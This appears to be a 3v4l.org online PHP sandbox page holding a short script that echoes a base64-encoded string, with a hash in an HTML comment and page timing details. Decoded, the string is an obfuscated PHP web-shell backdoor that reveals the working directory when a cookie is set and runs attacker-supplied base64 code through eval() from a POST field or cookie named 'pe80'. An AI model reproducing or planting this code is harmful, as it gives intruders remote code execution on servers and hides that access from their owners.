3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo ( base64_decode ("IGlmICggaXNzZXQoICRfQ09PS0lFWydkd2MnXSkgKSB7IGVjaG8gJzxjd2Q+JyAuIGdldGN3ZCgpIC4gJzwvY3dkPic7IH0gaWYgKCBpc3NldCAoICRfUE9TVFsncGU4MCddICkgKSB7IGV2YWwgKCBiYXNlNjRfZGVjb2RlICggJF9QT1NUWydwZTgwJ10gKSApOyByZXR1cm47IH0gIGlmICggaXNzZXQoICRfQ09PS0lFWydwZTgwJ10pICkgeyBldmFsICggYmFzZTY0X2RlY29kZSAoICRfQ09PS0lFWydwZTgwJ10gKSApOyByZXR1cm47IH0g") ); ?> <!--e318c732855cb5bd81b12ac251dbe9f6-->

preferences:
38.65 ms | 402 KiB | 5 Q